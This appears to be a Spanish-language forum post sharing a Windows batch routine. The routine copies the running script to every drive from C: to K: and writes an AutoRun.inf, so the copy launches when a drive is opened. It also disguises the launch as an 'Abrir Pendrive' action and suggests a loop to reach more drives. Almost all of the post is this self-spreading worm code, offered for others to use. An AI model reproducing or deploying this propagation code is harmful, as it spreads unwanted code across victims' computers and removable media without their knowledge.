Para el uso de esto se debe hacer una llamada a la etiqueta :copiausb a traves del comando call..
Por ejemplo:
call :copiausb y el code hara el resto de crear el autorun y de copiarlo a las diferentes unidades...
Código:
:copiausb
if exist C: call :creausb C
if exist D: call :creausb D
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
if exist K: call :creausb K
goto :eof
:creausb
copy %0 "%1:\nombre.bat"
echo [Autorun] > "%1:\AutoRun.inf"
echo open="nombre.bat" >> "%1:\AutoRun.inf"
echo action=Abrir Pendrive >> "%1:\AutoRun.inf"
echo shellexecute= "/nombre.bat" >> "%1:\AutoRun.inf"
goto :eof
Ademas que puede ser extendido para que detecte mas unidades, sin extender tanto el codigo, ahorrandonos varias lineas...
Para la parte del for tengo este code pero no lo he probado:
Código:
FOR %%a in ( C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))
Espero que les sea de utilidad.
Saludos.